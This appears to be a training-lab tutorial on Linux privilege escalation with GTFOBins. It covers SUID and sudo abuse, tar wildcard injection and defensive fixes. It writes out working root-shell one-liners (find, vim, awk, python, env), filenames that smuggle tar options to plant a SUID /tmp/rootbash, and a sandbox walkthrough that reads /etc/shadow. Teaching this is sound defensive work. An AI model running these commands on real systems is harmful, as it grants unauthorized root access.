GTFOBins: SUID & sudo to Root
GTFOBins is a curated list of ordinary Unix binaries that can be abused to break out of restricted environments and escalate privileges. A program like find, vim, awk, or python is harmless when you run it normally, but if you can run it as root, and it can execute other commands, you get a root shell.
The whole idea rests on one rule about the SUID bit: a program with it runs as the file's owner, not as you. If the owner is root, you're borrowing root's power:
alice runs/bin/cat-rwxr-xr-x root→process runs as alicealice runs/usr/bin/find-rwsr-xr-x root ← the s = SUID→process runs as ROOTThe s bit means "run as the file's owner." Owner is root, so any caller runs it as root.
When does a binary become a weapon?
A GTFOBins technique only escalates when the binary already runs with extra privileges. Three triggers:
- SUID , the binary has the SUID bit and is owned by root (found with
find / -perm -4000). - Sudo ,
sudo -lsays you may run it as root. - Capabilities , the binary has a Linux capability like
cap_setuid.
If none of those are true, the same command just gives you a shell as yourself, no gain. The privilege has to come from somewhere.
How to use GTFOBins
- Enumerate ,
find / -perm -4000andsudo -lto list candidate binaries. - Look it up , open gtfobins.github.io, search the binary, open the SUID or Sudo section.
- Run the payload , copy the one-liner and run it.
Worked examples
find (SUID). find can run a program with -exec. If find is SUID root, that program is root:
find . -exec /bin/sh -p \;
The -p tells the shell to keep the elevated privileges instead of dropping them.
vim (Sudo). An editor that can shell out (:!cmd). Run via sudo and the shell is root:
sudo vim -c ':!/bin/sh'
awk (SUID or Sudo). awk can run system commands:
awk 'BEGIN {system("/bin/sh")}'
python (SUID or Sudo).
python3 -c 'import os; os.system("/bin/sh")'
env (SUID or Sudo). env can launch any binary, including a shell:
sudo env /bin/sh
less / more / man (Sudo). Pagers can run a shell from inside: open a file, then type !/bin/sh.
Wildcard injection: when there's no shell in sight
The examples above all abuse a binary that can obviously run commands. But some sudo rules and root cron jobs look completely harmless, they just archive or copy files, and still hand you root. The classic:
(root) NOPASSWD: /usr/bin/tar -czf /backup/data.tar.gz *
No editor, no interpreter, nothing shell-capable. It looks safe. It isn't, and the reason is the single *.
Why the wildcard is the whole vulnerability. The * is a shell glob. The shell expands it into the list of filenames in the current directory before tar ever runs. And a program cannot tell a filename apart from a command-line flag, both arrive as plain arguments. So if you create files whose names are actually options, the shell hands them to tar as options, and tar has one that runs a command:
cd /the/directory/that/gets/archived
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
touch ./--checkpoint=1
touch ./'--checkpoint-action=exec=sh shell.sh'
# when the rule runs: tar -czf /backup/data.tar.gz *
The shell expands * to --checkpoint=1 '--checkpoint-action=exec=sh shell.sh' shell.sh. tar reads the first two as its own flags and runs sh shell.sh as root, dropping a SUID root shell at /tmp/rootbash.
No wildcard, no attack. If the rule used a fixed argument, say tar -czf /backup/data.tar.gz /var/www, tar receives exactly those arguments and nothing you create in a directory ever reaches its command line. There's nowhere to inject. The glob is the attack surface, which is why the fix is simply to never use * in a privileged command.
The same trick works on other tools that read filenames as options (each has a GTFOBins entry):
chown/chmod,--reference=FILEcopies another file's owner/mode, so a file named--reference=/some/filehijacks the target.rsync, the-eoption runs a command; a filename like-e sh shell.shtriggers it.7z,zip,scp, each has an option that can be smuggled in as a filename.
So when sudo -l (or a cron entry) shows a boring-looking command ending in * that runs in a directory you can write to, don't skip it, it's one of the most-missed paths to root.
Do it in the sandbox
Two real paths to root on the box beside you:
# Path 1 , the SUID binary
find / -perm -4000 # /usr/bin/find is SUID (the odd one out)
find . -exec /bin/sh \; # -> root shell (#)
whoami # root
cat /etc/shadow # now allowed
exit # drop back to learner
# Path 2 , the sudo rule
sudo -l # (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh' # -> root shell (#)
cat flag.txt
When the prompt turns into a red #, you are root. That is the whole game.
Defending against it
- Minimise SUID , audit
find / -perm -4000; remove the bit where it isn't needed. - Tight sudoers , never grant
NOPASSWDon shell-capable binaries (editors, interpreters,find). - No wildcards in privileged commands , a sudo rule or root cron that ends in
*is a wildcard-injection waiting to happen; use a fixed path instead. - Drop capabilities and patch the kernel.
- Monitor , alert on a non-root user spawning a root shell.
Common questions
"Why does find . -exec /bin/sh \; give root? I didn't type any password."
Because find is already running as root (SUID or via sudo). Anything it launches inherits that, so the shell it spawns is a root shell. You never needed a password, the privilege came from the binary.
"What's the difference between the SUID payload and the Sudo payload?"
They exploit the same idea from two different starting points. SUID: the binary has the s bit, so you run it directly (find . -exec …). Sudo: sudo -l lets you run it, so you prefix with sudo (sudo vim …). GTFOBins lists both, pick the one that matches how you can run it.
"Do I have to memorise all these payloads?" No. You memorise the workflow: enumerate → look the binary up on GTFOBins → copy the SUID/Sudo line. The site is the cheat sheet; you just need to recognise when a binary is exploitable.
"The odd SUID binary is a custom program, not on GTFOBins. Now what?"
Then you inspect it yourself, run strings on it, look for a system()/exec call to a bare command name (a PATH hijack), or an input it trusts. GTFOBins only covers the standard binaries.
Stay in scope
GTFOBins is for systems you are authorised to test. The skill here is recognising the misconfiguration, that is what you report so it gets fixed.